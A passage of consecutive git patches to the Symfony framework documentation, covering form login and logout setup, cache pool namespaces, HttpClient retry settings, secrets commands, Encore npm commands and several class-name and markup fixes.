--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -74,10 +74,15 @@ class that processes the login submit and 4) updates the main security config fi
             // last username entered by the user
             $lastUsername = $authenticationUtils->getLastUsername();
 
-            return $this->render('security/login.html.twig', [
-                'last_username' => $lastUsername,
-                'error' => $error
-            ]);
+            return $this->render('security/login.html.twig', ['last_username' => $lastUsername, 'error' => $error]);
+        }
+
+        /**
+         * @Route("/logout", name="app_logout")
+         */
+        public function logout()
+        {
+            throw new \Exception('This method can be blank - it will be intercepted by the logout key on your firewall');
         }
 
         /**
@@ -165,10 +170,10 @@ a traditional HTML form that submits to ``/login``:
         {% endif %}
 
         <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
-        <label for="inputEmail" class="sr-only">Email</label>
-        <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" placeholder="Email" required autofocus>
-        <label for="inputPassword" class="sr-only">Password</label>
-        <input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required>
+        <label for="inputEmail">Email</label>
+        <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" required autofocus>
+        <label for="inputPassword">Password</label>
+        <input type="password" name="password" id="inputPassword" class="form-control" required>
 
         <input type="hidden" name="_csrf_token"
                value="{{ csrf_token('authenticate') }}"
@@ -300,7 +305,7 @@ a traditional HTML form that submits to ``/login``:
         }
     }
 
-**Step 4.** Updates the main security config file to enable the Guard authenticator:
+**Step 4.** Updates the main security config file to enable the Guard authenticator and configure logout route:
 
 .. configuration-block::
 
@@ -316,6 +321,8 @@ a traditional HTML form that submits to ``/login``:
                     guard:
                         authenticators:
                             - App\Security\LoginFormAuthenticator
+                    logout:
+                        path: app_logout
 
     .. code-block:: xml
 

From 8a0c09efe8157757d73de7148408a091bf18a28b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 21 Oct 2020 15:14:45 +0200
Subject: [PATCH 0019/5766] [#12802] Updated XML and PHP examples

---
 security/form_login_setup.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 2213e949fe8..4d9bb9265c8 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -341,6 +341,7 @@ a traditional HTML form that submits to ``/login``:
                     <guard>
                         <authenticator class="App\Security\LoginFormAuthenticator"/>
                     </guard>
+                    <logout path="app_logout" />
                 </firewall>
             </config>
         </srv:container>
@@ -360,6 +361,9 @@ a traditional HTML form that submits to ``/login``:
                             LoginFormAuthenticator::class,
                         ]
                     ],
+                    'logout' => [
+                        'path' => 'app_logout',
+                    ],
                 ],
             ],
         ]);

From 010f62fc460e49461c5d3fb98f2aaceb636c813d Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Wed, 21 Oct 2020 15:49:46 +0200
Subject: [PATCH 0020/5766] Fix markup of configuration-block.

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 53088f53a32..4588ba61cd2 100644
--- a/routing.rst
+++ b/routing.rst
@@ -58,7 +58,7 @@ This configuration tells Symfony to look for routes defined as annotations in
 any PHP class stored in the ``src/Controller/`` directory.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
-do so, create a :doc:`controller class </controller>` like the following::
+do so, create a :doc:`controller class </controller>` like the following:
 
 .. configuration-block::
 

From 526012ed7a9a1c1aac7c829fcb6f68e2aea67d93 Mon Sep 17 00:00:00 2001
From: Andrii Popov <popov256@gmail.com>
Date: Mon, 21 Oct 2019 21:00:22 +0300
Subject: [PATCH 0021/5766] [Cache] Custom pool namespaces

---
 cache.rst | 47 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/cache.rst b/cache.rst
index 4fc6a4faa87..42a22ca55e3 100644
--- a/cache.rst
+++ b/cache.rst
@@ -329,6 +329,53 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
         // ...
     }
 
+.. tip::
+
+    If you need the namespace to be interoperable with a third-party app,
+    you can take control over auto-generation by setting the ``namespace``
+    attribute of the ``cache.pool`` service tag. For example, you can
+    override the service definition of the adapter:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                app.cache.adapter.redis:
+                    parent: 'cache.adapter.redis'
+                    tags:
+                        - { name: 'cache.pool', namespace: 'my_custom_namespace' }
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <service id="app.cache.adapter.redis" parent="cache.adapter.redis">
+                        <tag name="cache.pool" namespace="my_custom_namespace"/>
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            return function(ContainerConfigurator $configurator) {
+                $services = $configurator->services();
+
+                $services->set('app.cace.adapter.redis')
+                    ->parent('cache.adapter.redis')
+                    ->tag('cache.pool', ['namespace' => 'my_custom_namespace'])
+            };
+
 Custom Provider Options
 -----------------------
 

From 1b64a6e791b765e6eb29f9ce91597b85a4ac6911 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 21 Oct 2020 16:01:48 +0200
Subject: [PATCH 0022/5766] Fixed DOCtor

---
 security/form_login_setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 4d9bb9265c8..abbbb6eb1f2 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -341,7 +341,7 @@ a traditional HTML form that submits to ``/login``:
                     <guard>
                         <authenticator class="App\Security\LoginFormAuthenticator"/>
                     </guard>
-                    <logout path="app_logout" />
+                    <logout path="app_logout"/>
                 </firewall>
             </config>
         </srv:container>

From b9a47effa7ceb176e64bec5e59c20141337f469a Mon Sep 17 00:00:00 2001
From: BETARI <amine.betari@gmail.com>
Date: Thu, 28 Nov 2019 00:03:25 +0100
Subject: [PATCH 0023/5766] Update multiple_kernels.rst

---
 configuration/multiple_kernels.rst | 43 +++++++++++++++++++++---------
 1 file changed, 31 insertions(+), 12 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index e6110bb69c2..a0069b9be4b 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -88,31 +88,50 @@ files so they don't collide with the files from ``src/Kernel.php``::
 
     class ApiKernel extends Kernel
     {
-        // ...
+        use MicroKernelTrait;
 
         public function registerBundles()
         {
-            // load only the bundles strictly needed for the API...
+            // load only the bundles strictly needed for the API
+            $contents = require $this->getProjectDir().'/config/api_bundles.php';
+            foreach ($contents as $class => $envs) {
+                if ($envs[$this->environment] ?? $envs['all'] ?? false) {
+                    yield new $class();
+                }
+            }
+        }
+
+        public function getProjectDir(): string
+        {
+            return \dirname(__DIR__);
         }
 
-        public function getCacheDir()
+        public function getCacheDir(): string
         {
-            return dirname(__DIR__).'/var/cache/api/'.$this->getEnvironment();
+            return $this->getProjectDir().'/var/cache/api/'.$this->getEnvironment();
         }
 
-        public function getLogDir()
+        public function getLogDir(): string
         {
-            return dirname(__DIR__).'/var/log/api';
+            return $this->getProjectDir().'/var/log/api';
         }
 
         public function configureContainer(ContainerBuilder $container, LoaderInterface $loader)
         {
-            // load only the config files strictly needed for the API
-            $confDir = $this->getProjectDir().'/config';
-            $loader->load($confDir.'/api/*'.self::CONFIG_EXTS, 'glob');
-            if (is_dir($confDir.'/api/'.$this->environment)) {
-                $loader->load($confDir.'/api/'.$this->environment.'/**/*'.self::CONFIG_EXTS, 'glob');
-            }
+            $container->addResource(new FileResource($this->getProjectDir().'/config/api_bundles.php'));
+            $container->setParameter('container.dumper.inline_factories', true);
+            $confDir = $this->getProjectDir().'/config/api';
+
+            $loader->load($confDir.'/{packages}/*'.self::CONFIG_EXTS, 'glob');
+            $loader->load($confDir.'/{packages}/'.$this->environment.'/*'.self::CONFIG_EXTS, 'glob');
+            $loader->load($confDir.'/{services}'.self::CONFIG_EXTS, 'glob');
+            $loader->load($confDir.'/{services}_'.$this->environment.self::CONFIG_EXTS, 'glob');
+        }
+
+        protected function configureRoutes(RouteCollectionBuilder $routes): void
+        {
+            $confDir = $this->getProjectDir().'/config/api';
+            // ... load only the config routes strictly needed for the API
         }
     }
 

From 0f91cc9f74a656da845b6a46b225a8351a83ccae Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Tue, 20 Oct 2020 09:42:57 +0200
Subject: [PATCH 0024/5766] Add documentation for retry on idempotent methods

---
 http_client.rst                       | 8 +++++---
 reference/configuration/framework.rst | 7 +++++--
 2 files changed, 10 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index e0a9d6808e3..5c899660b62 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -694,9 +694,10 @@ Retry Failed Requests
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
 :ref:`retry_failed option <reference-http-client-retry-failed>`. When enabled,
-each failed request with an HTTP status of ``423``, ``425``, ``429``, ``500``,
-``502``, ``503``, ``504``, ``507``, or ``510`` is retried up to 3 times, with an
-exponential delay between retries (first retry = 1 second; third retry: 4 seconds).
+each failed request with an HTTP status of ``423``, ``425``, ``429``, ``502``,
+``503`` or with an `idempotent method`_ and a HTTP status of ``500``, ``504``,
+``507`` or ``510`` is retried up to 3 times, with an exponential delay between
+retries (first retry = 1 second; third retry: 4 seconds).
 
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.
@@ -1609,3 +1610,4 @@ Then configure Symfony to use your callback:
 .. _`cURL options`: https://www.php.net/manual/en/function.curl-setopt.php
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
 .. _`EventSource`:  https://www.w3.org/TR/eventsource/#eventsource
+.. _`idempotent method`:  https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a3d6e9fd95a..b8b0a7887d6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -779,7 +779,10 @@ will automatically retry failed HTTP requests.
             # ...
             retry_failed:
                 # retry_strategy: app.custom_strategy
-                http_codes: [429, 500]
+                http_codes:
+                    0: ['GET', 'HEAD']   # retry network errors if request method is GET or HEAD
+                    429: true            # retry all responses with 429 status code
+                    500: ['GET', 'HEAD']
                 max_retries: 2
                 delay: 1000
                 multiplier: 3
@@ -923,7 +926,7 @@ value must use the format ``['header-name' => 'value0, value1, ...']``.
 http_codes
 ..........
 
-**type**: ``array`` **default**: ``[423, 425, 429, 500, 502, 503, 504, 507, 510]``
+**type**: ``array`` **default**: :method:`Symfony\\Component\\HttpClient\\Retry\\GenericRetryStrategy::DEFAULT_RETRY_STATUS_CODES`
 
 .. versionadded:: 5.2
 

From 689614433c04d186640f563d619c36adc43184c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Oct 2020 20:14:08 +0200
Subject: [PATCH 0025/5766] Tweak

---
 http_client.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 5c899660b62..efc5a14e799 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -693,11 +693,13 @@ Retry Failed Requests
 
 Sometimes, requests fail because of network issues or temporary server errors.
 Symfony's HttpClient allows to retry failed requests automatically using the
-:ref:`retry_failed option <reference-http-client-retry-failed>`. When enabled,
-each failed request with an HTTP status of ``423``, ``425``, ``429``, ``502``,
-``503`` or with an `idempotent method`_ and a HTTP status of ``500``, ``504``,
-``507`` or ``510`` is retried up to 3 times, with an exponential delay between
-retries (first retry = 1 second; third retry: 4 seconds).
+:ref:`retry_failed option <reference-http-client-retry-failed>`.
+
+By default, failed requests are retried up to 3 times, with an exponential delay
+between retries (first retry = 1 second; third retry: 4 seconds) and only for
+the following HTTP status codes: ``423``, ``425``, ``429``, ``502`` and ``503``
+when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using
+an HTTP `idempotent method`_.
 
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.

From b56568416ffc59993c83007343c0750de519e935 Mon Sep 17 00:00:00 2001
From: Matthias Gutjahr <mattsches@gmail.com>
Date: Wed, 21 Oct 2020 11:59:21 +0200
Subject: [PATCH 0026/5766] Update doctrine.rst

Correct link to StofDoctrineExtensionsBundle
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index bb27ad91bfa..eab24ae8f13 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -879,4 +879,4 @@ Learn more
 .. _`API Platform`: https://api-platform.com/docs/core/validation/
 .. _`PDO`: https://www.php.net/pdo
 .. _`available Doctrine extensions`: https://github.com/Atlantic18/DoctrineExtensions
-.. _`StofDoctrineExtensionsBundle`: https://github.com/antishov/StofDoctrineExtensionsBundle
+.. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle

From 9994e7b0dca329678cb7db549bbae7d256d9c7b2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 21 Oct 2020 20:24:19 +0200
Subject: [PATCH 0027/5766] Use APP_RUNTIME_ENV to define secrets

---
 configuration/secrets.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 696ce519682..ab49c052dff 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -48,7 +48,7 @@ running:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:generate-keys --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:generate-keys
 
 This will generate ``config/secrets/prod/prod.encrypt.public.php`` and
 ``config/secrets/prod/prod.decrypt.private.php``.
@@ -78,7 +78,7 @@ Suppose you want to store your database password as a secret. By using the
     $ php bin/console secrets:set DATABASE_PASSWORD
 
     # set your production value
-    $ php bin/console secrets:set DATABASE_PASSWORD --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:set DATABASE_PASSWORD
 
 This will create a new file for the secret in ``config/secrets/dev`` and another
 in ``config/secrets/prod``. You can also set the secret in a few other ways:
@@ -253,7 +253,7 @@ your secrets during deployment to the "local" vault:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:decrypt-to-local --force --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force
 
 This will write all the decrypted secrets into the ``.env.prod.local`` file.
 After doing this, the decryption key does *not* need to remain on the server(s).

From ded882526e23c22d14455d2e6c191c93e979f5a6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 21 Oct 2020 23:36:00 +0200
Subject: [PATCH 0028/5766] [#14421] Merged the new description into the
 current sentence

---
 translation.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index db50e05cb07..672518d8f8e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -657,10 +657,8 @@ must be named according to the following path: ``domain.locale.loader``:
 
 * **domain**: Domains are a way to organize messages into groups. Unless
   parts of the application are explicitly separated from each other, it is
-  recommended to only use default ``messages`` domain.
-
-  If no domains are explicitly defined while using the translator, Symfony 
-  will default to the ``messages`` domain (e.g. ``messages.en.yaml``)
+  recommended to only use the default ``messages`` domain (e.g.
+  ``messages.en.yaml``).
 
 * **locale**: The locale that the translations are for (e.g. ``en_GB``, ``en``, etc);
 

From 300da7ba340b6759d6e58614ec0feca9ef460ea6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 22 Oct 2020 08:58:19 +0200
Subject: [PATCH 0029/5766] Enhancement: New rules for DOCtor-RST.

---
 .doctor-rst.yaml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 6711c75c8f2..a243e6266b6 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -24,6 +24,8 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    only_backslashes_in_namespace_in_php_code_block: ~
+    only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
     php_prefix_before_bin_console: ~
     replace_code_block_types: ~

From 3781df649e39522eddbb612d452c661eb33f33d1 Mon Sep 17 00:00:00 2001
From: Guilhem Niot <guilhem.niot@gmail.com>
Date: Fri, 12 Jun 2020 13:46:50 +0200
Subject: [PATCH 0030/5766] [PropertyInfo] Document setting serializer_groups
 to null in the SerializerExtractor

---
 components/property_info.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index d67034b04fa..16aac3299e2 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -435,7 +435,18 @@ with the ``property_info`` service in the Symfony Framework::
     $serializerExtractor = new SerializerExtractor($serializerClassMetadataFactory);
 
     // List information.
-    $serializerExtractor->getProperties($class);
+    $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
+    
+.. note::
+
+    The ``serializer_groups`` option must be provided in order to have a value different than ``null`` returned.
+   
+    If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be checked but you will get only the properties 
+    considered by the Serializer Component (notably the ``@Ignore`` annotation is taken into account).
+
+.. versionadded:: 5.2
+
+    Support for the ``null`` value in ``serializer_groups`` was introduced in Symfony 5.2. 
 
 DoctrineExtractor
 ~~~~~~~~~~~~~~~~~

From d0abaf04aa169560fa7e791debbc82299991be0e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 09:19:42 +0200
Subject: [PATCH 0031/5766] Tweaks

---
 components/property_info.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 16aac3299e2..b6684d948d8 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -434,15 +434,12 @@ with the ``property_info`` service in the Symfony Framework::
     );
     $serializerExtractor = new SerializerExtractor($serializerClassMetadataFactory);
 
-    // List information.
+    // the `serializer_groups` option must be configured (may be set to null)
     $serializerExtractor->getProperties($class, ['serializer_groups' => ['mygroup']]);
-    
-.. note::
-
-    The ``serializer_groups`` option must be provided in order to have a value different than ``null`` returned.
    
-    If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be checked but you will get only the properties 
-    considered by the Serializer Component (notably the ``@Ignore`` annotation is taken into account).
+If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
+checked but you will get only the properties considered by the Serializer
+Component (notably the ``@Ignore`` annotation is taken into account).
 
 .. versionadded:: 5.2
 

From f40ec08e5f39763dc62d8035fc228210605970c5 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 22 Oct 2020 09:29:38 +0200
Subject: [PATCH 0032/5766] Fix: DOCtor-RST

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index db0501182bc..7aee0061c0c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -645,7 +645,7 @@ tags, is to implement the static ``getDefaultPriority()`` method on the
 service itself::
 
     // src/Handler/One.php
-    namespace App/Handler;
+    namespace App\Handler;
 
     class One
     {

From d084e993a4a6e321c4a8eeb132e273d33e2c408a Mon Sep 17 00:00:00 2001
From: "heddi.nabbisen" <nabbisen@scqr.net>
Date: Wed, 17 Jun 2020 20:44:36 +0900
Subject: [PATCH 0033/5766] add a note about npm commands equivalent to yarn's

---
 frontend/encore/simple-example.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 65b96370059..50dec19e46a 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -74,6 +74,21 @@ To build the assets, run:
 
     Stop and restart ``encore`` each time you update your ``webpack.config.js`` file.
 
+.. note::
+
+    If you prefer npm, run these commands instead:
+    
+    .. code-block:: terminal
+
+        # compile assets once
+        $ npm run dev
+
+        # or, recompile assets automatically when files change
+        $ npm run watch
+
+        # on deploy, create a production build
+        $ npm run build
+
 Congrats! You now have three new files:
 
 * ``public/build/app.js`` (holds all the JavaScript for your "app" entry)

From f3c629e836118404480e71653b759da1ee5f6ab4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 10:33:32 +0200
Subject: [PATCH 0034/5766] Tweak

---
 frontend/encore/simple-example.rst | 21 ++++++---------------
 1 file changed, 6 insertions(+), 15 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 50dec19e46a..6ddcd5bdbd8 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -63,32 +63,23 @@ To build the assets, run:
 
     # compile assets once
     $ yarn encore dev
+    # if you prefer npm, run:
+    $ npm run dev
 
     # or, recompile assets automatically when files change
     $ yarn encore dev --watch
+    # if you prefer npm, run:
+    $ npm run watch
 
     # on deploy, create a production build
     $ yarn encore production
+    # if you prefer npm, run:
+    $ npm run build
 
 .. note::
 
     Stop and restart ``encore`` each time you update your ``webpack.config.js`` file.
 
-.. note::
-
-    If you prefer npm, run these commands instead:
-    
-    .. code-block:: terminal
-
-        # compile assets once
-        $ npm run dev
-
-        # or, recompile assets automatically when files change
-        $ npm run watch
-
-        # on deploy, create a production build
-        $ npm run build
-
 Congrats! You now have three new files:
 
 * ``public/build/app.js`` (holds all the JavaScript for your "app" entry)

From 2a863fb883d82568bcdbbfc80cd73b0d1fa564f2 Mon Sep 17 00:00:00 2001
From: Rezende <rezehnde@gmail.com>
Date: Thu, 23 Jul 2020 12:06:51 -0300
Subject: [PATCH 0035/5766] =?UTF-8?q?Recommending=20symfony/apache-pack=20?=
 =?UTF-8?q?when=20installing=20the=20project=20on=20a=20sha=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 deployment.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/deployment.rst b/deployment.rst
index 5d02bae0e58..18fd4ec6fa8 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -195,6 +195,7 @@ setup:
 * Add/edit CRON jobs
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
 * Pushing assets to a CDN
+* On a shared hosting platform using the Apache web server, you may need to install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
 * ...
 
 Application Lifecycle: Continuous Integration, QA, etc.

From 060773ef8ce9338c421688a146b316595b557ae1 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 22 Oct 2020 10:40:32 +0200
Subject: [PATCH 0036/5766] [#14422] Minor change in sentence

---
 logging/channels_handlers.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index bac0be76012..8f6e9aed98a 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -182,10 +182,11 @@ How to Autowire Logger Channels
 
 Starting from `MonologBundle`_ 3.5 you can autowire different Monolog channels
 by type-hinting your service arguments with the following syntax:
-``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been 
-predefined in your Monolog configuration.
+``Psr\Log\LoggerInterface $<channel>Logger``. The ``<channel>`` must have been
+:ref:`predefined in your Monolog configuration <monolog-channels-config>`.
 
-An example to inject the service related to the ``app`` logger channel:
+For example to inject the service related to the ``app`` logger channel,
+change your constructor like this:
 
 .. code-block:: diff
 

From feef663fa650ebc2acaa4b40b2c5660cc3b2d874 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 10:40:48 +0200
Subject: [PATCH 0037/5766] Wrap long lines

---
 deployment.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/deployment.rst b/deployment.rst
index 18fd4ec6fa8..36854742dcc 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -195,7 +195,8 @@ setup:
 * Add/edit CRON jobs
 * :ref:`Building and minifying your assets <how-do-i-deploy-my-encore-assets>` with Webpack Encore
 * Pushing assets to a CDN
-* On a shared hosting platform using the Apache web server, you may need to install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
+* On a shared hosting platform using the Apache web server, you may need to
+  install the :ref:`symfony/apache-pack package <web-server-apache-mod-php>`
 * ...
 
 Application Lifecycle: Continuous Integration, QA, etc.

From 369ea13ea891df848615e629bd35e3f539b3eb94 Mon Sep 17 00:00:00 2001
From: Gauthier Gilles <gilles.gauthier31@gmail.com>
Date: Tue, 17 Dec 2019 09:27:31 +0100
Subject: [PATCH 0038/5766] add caution for datetime object

---
 serializer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index b1e64881831..31c47e607dc 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -115,6 +115,12 @@ Custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
 possible to set the priority of the tag in order to decide the matching order.
 
+.. caution::
+
+    Always make sure to load the ``DateTimeNormalizer`` when serializing the
+    ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
+    usage and exposing internal details.
+
 Here is an example on how to load the
 :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
 faster alternative to the `ObjectNormalizer` when data objects always use

From 269379fa5c6af4982f2f704c97d91f8eb8d2b8be Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Sun, 19 Apr 2020 14:11:38 +0200
Subject: [PATCH 0039/5766] replace ExceptionListener by EventListener

Deprecated  ExceptionListener is replaced by EventListener in Symfony 5.0
---
 reference/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/events.rst b/reference/events.rst
index b7eec4d8dbd..900d40eb12c 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -251,7 +251,7 @@ sent as response::
 
 .. note::
 
-    The TwigBundle registers an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ExceptionListener`
+    The TwigBundle registers an :class:`Symfony\\Component\\HttpKernel\\EventListener\\ErrorListener`
     that forwards the ``Request`` to a given controller defined by the
     ``exception_listener.controller`` parameter.
 

From 3bc914cc2043612bfc97e1e9e7c78c95ef695e52 Mon Sep 17 00:00:00 2001
From: Rachid Hammaoui <37940572+makmaoui@users.noreply.github.com>
Date: Fri, 14 Aug 2020 18:41:43 +0200
Subject: [PATCH 0040/5766] Fix wrong properties class

Fix classname for query and cookies properties
---
 components/http_foundation.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index dad9990dd64..3a90611edbe 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -83,17 +83,19 @@ can be accessed via several public properties:
 Each property is a :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`
 instance (or a sub-class of), which is a data holder class:
 
-* ``request``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`;
+* ``request``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag` or
+  :class:`Symfony\\Component\\HttpFoundation\\InputBag` if the data is
+  coming from ``$_POST`` parameters;
 
-* ``query``:   :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`;
+* ``query``: :class:`Symfony\\Component\\HttpFoundation\\InputBag`;
 
-* ``cookies``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`;
+* ``cookies``: :class:`Symfony\\Component\\HttpFoundation\\InputBag`;
 
 * ``attributes``: :class:`Symfony\\Component\\HttpFoundation\\ParameterBag`;
 
-* ``files``:   :class:`Symfony\\Component\\HttpFoundation\\FileBag`;
+* ``files``: :class:`Symfony\\Component\\HttpFoundation\\FileBag`;
 
-* ``server``:  :class:`Symfony\\Component\\HttpFoundation\\ServerBag`;
+* ``server``: :class:`Symfony\\Component\\HttpFoundation\\ServerBag`;
 
 * ``headers``: :class:`Symfony\\Component\\HttpFoundation\\HeaderBag`.
 

From 9d189ef6b5e1c381923ac894ec3237ed45e620de Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Oct 2020 11:23:38 +0200
Subject: [PATCH 0041/5766] [RateLimiter] Document the RateLimit object

---
 rate_limiter.rst | 44 ++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
